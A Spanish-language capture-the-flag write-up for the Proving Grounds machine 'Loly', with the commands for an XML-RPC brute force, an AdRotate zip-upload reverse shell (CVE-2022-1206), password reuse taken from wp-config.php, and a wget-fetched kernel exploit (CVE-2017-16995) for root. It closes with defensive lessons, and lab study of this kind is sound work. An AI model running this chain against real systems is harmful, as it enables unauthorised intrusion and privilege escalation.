the_open_door
café
ESEN

Loly

Proving Grounds PlayMediaLinux192.168.144.121

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#oscp#wordpress#wpscan#xml-rpc#brute-force#adrotate#cve-2022-1206#file-upload#wp-config#credential-reuse#kernel-exploit#cve-2017-16995
TL;DR. WordPress con XML-RPC habilitado: wpscan saca al usuario loly y por fuerza bruta contra xmlrpc.php cae loly:fernando. Ya en el panel, el plugin AdRotate (CVE-2022-1206) permite subir un .zip que se auto-extrae en /wp-content/banners/, así que una revshell PHP dentro del zip da shell como www-data. El wp-config.php guarda lolyisabeautifulgirl, que es también la contraseña del usuario loly. El kernel es un Ubuntu 16.04 con 4.4.0-31, vulnerable a CVE-2017-16995, y de ahí a root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo un puerto abierto, un nginx:

ping -c 1 192.168.144.121     # ttl=61 → Linux
nmap -p80 -sCV 192.168.144.121 -oN targetedScan
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!

WordPress - TCP 80

La portada es el nginx por defecto, pero dirsearch encuentra un WordPress colgando de /wordpress:

dirsearch -u http://192.168.144.121 --exclude-status=403,404
# 200 - /wordpress/
# 200 - /wordpress/wp-login.php

Los redirects apuntan al vhost loly.lc, así que se añade al /etc/hosts para que el WordPress cargue bien:

echo '192.168.144.121 loly.lc' | sudo tee -a /etc/hosts

wpscan enumera el usuario loly, confirma que XML-RPC está habilitado y detecta el plugin AdRotate 5.8.6.2 (desactualizado):

wpscan --url http://loly.lc/wordpress --enumerate u
[+] adrotate | Version: 5.8.6.2 (80% confidence)
[+] XML-RPC seems to be enabled: http://loly.lc/wordpress/xmlrpc.php
[+] loly (Author Posts - Display Name)

XML-RPC habilitado es un multiplicador para la fuerza bruta: xmlrpc.php permite probar credenciales por lotes en una sola petición (system.multicall), mucho más rápido que golpear wp-login.php.

Shell como www-data

Fuerza bruta por XML-RPC → loly:fernando

wpscan --url http://loly.lc/wordpress --usernames loly -P /usr/share/wordlists/rockyou.txt
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - loly / fernando

[!] Valid Combinations Found:
 | Username: loly, Password: fernando

Con loly:fernando se entra al panel de administración.

Login de WordPress con loly:fernando validado tras la fuerza bruta por XML-RPC

AdRotate: subida de fichero vía .zip (CVE-2022-1206)

AdRotate tiene un apartado Manage Media que sube ficheros a la carpeta banners. La clave está en la propia nota de la interfaz: "Zip files are automatically extracted in the location where they are uploaded". El filtro no acepta .php, pero sí acepta .zip, y lo descomprime solo: se mete la revshell PHP dentro de un zip y al extraerse queda como .php servible.

Panel Manage Media de AdRotate: sube a banners y auto-extrae los .zip

# revshell de pentestmonkey con IP/puerto propios
zip rev.zip rev.php

En Manage Media seleccionamos la carpeta banners, subimos rev.zip y pulsamos Upload file:

AdRotate Manage Media: carpeta banners, rev.zip seleccionado y la nota de auto-extracción de los zip

Upload new file
  [banners v]  [ Browse... ]  rev.zip
  Accepted files: jpg, jpeg, gif, png, svg, html, js and zip. Maximum size is 512Kb per file.
  Important: Make sure your file has no spaces or special characters in the name.
  Zip files are automatically extracted in the location where they are uploaded and the
  original zip file will be deleted after extracted.
  [ Upload file ]  Click only once per file!

Available files in '/banners'
  No files found!

La propia interfaz enumera las extensiones permitidas, y ahí está el fallo: zip entra en la lista y además se extrae solo. El filtro nunca llega a ver el .php que va dentro.

AdRotate confirma la subida ("Banner image saved") y, al ser un .zip, lo extrae solo en banners/:

AdRotate muestra Banner image saved tras subir rev.zip

Con Penelope a la escucha en el 4444, visitamos la ruta del rev.php extraído para disparar la shell:

penelope 4444
curl http://loly.lc/wordpress/wp-content/banners/rev.php

Al visitar rev.php, Penelope recibe la shell como www-data en ubuntu (192.168.144.121)

www-data@ubuntu:~$ cat local.txt && id
7ca974e3d2bbf63c979d30b6b054285f
uid=33(www-data) gid=33(www-data) groups=33(www-data)

local.txt leída como www-data en el host ubuntu

Shell como loly

Contraseña reutilizada en wp-config.php

El wp-config.php guarda las credenciales de la base de datos, y aquí la contraseña de MySQL sirve tal cual para el usuario del sistema:

grep -i pass /var/www/html/wordpress/wp-config.php
# define( 'DB_PASSWORD', 'lolyisabeautifulgirl' );
su loly    # contraseña: lolyisabeautifulgirl

wp-config.php expone DB_PASSWORD lolyisabeautifulgirl; su loly con esa contraseña funciona

loly@ubuntu:/tmp$ id
uid=1000(loly) gid=1000(loly) groups=1000(loly),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

Reutilizar la contraseña del wp-config.php como contraseña de sistema es un patrón clásico: la web y el usuario comparten secreto, y basta un su.

Escalada de Privilegios

Kernel exploit - CVE-2017-16995

La máquina es un Ubuntu 16.04 con un kernel viejo:

uname -a
# Linux ubuntu 4.4.0-31-generic #50-Ubuntu ... x86_64
searchsploit 'Linux kernel 4.4.0' | grep -i "ubuntu 16.04"

45010.c (CVE-2017-16995, un fallo en la verificación de eBPF que permite lectura/escritura de memoria del kernel) cubre exactamente este kernel < 4.13.9. Se compila en la propia máquina y se ejecuta:

# en el atacante
searchsploit -m linux/local/45010.c
python3 -m http.server 80

# en la víctima
wget http://<atacante>/45010.c
gcc 45010.c -o exploit
./exploit

El exploit cuela un programa eBPF malicioso más allá del verificador del kernel, parchea la estructura de credenciales del proceso y lanza una shell con UID 0:

./exploit (CVE-2017-16995): sneaking evil bpf past the verifier, credentials patched, whoami root

proof.txt leído tras el kernel exploit: whoami root

# cat /root/proof.txt && whoami
2ddf99e80a08dff38c6d96f2c6cf8660
root

Cadena de ataque

WordPress /wordpress con XML-RPC habilitado
  └─ wpscan: usuario loly + plugin AdRotate 5.8.6.2
     └─ brute XML-RPC → loly:fernando
        └─ AdRotate Manage Media: .zip auto-extraído (CVE-2022-1206)
           └─ revshell PHP en el zip → www-data
              └─ wp-config.php: DB_PASSWORD lolyisabeautifulgirl → su loly
                 └─ kernel 4.4.0-31 (Ubuntu 16.04) → CVE-2017-16995 → root

Lecciones aprendidas

  • XML-RPC habilitado convierte la fuerza bruta de WordPress en algo práctico: system.multicall agrupa cientos de intentos por petición, y wpscan lo automatiza. Deshabilitar xmlrpc.php cierra ese acelerador.
  • Un filtro de subida que rechaza .php pero acepta .zip y lo descomprime en el docroot es equivalente a permitir .php: el contenido del zip acaba servible. AdRotate 5.8.6.2 lo hacía sin sanear.
  • Los secretos de wp-config.php (DB_PASSWORD) tienden a reutilizarse como contraseñas de sistema; siempre vale la pena probar la del panel/BD con su sobre los usuarios locales.
  • Un kernel 4.4.0-31 en Ubuntu 16.04 es un objetivo directo para exploits públicos como CVE-2017-16995; en un entorno real esto es fallo de parcheo, no de configuración, y por eso mantener el kernel al día corta toda una familia de escaladas locales.
Cheatsheet de comandos 11 comandos

Repaso rápido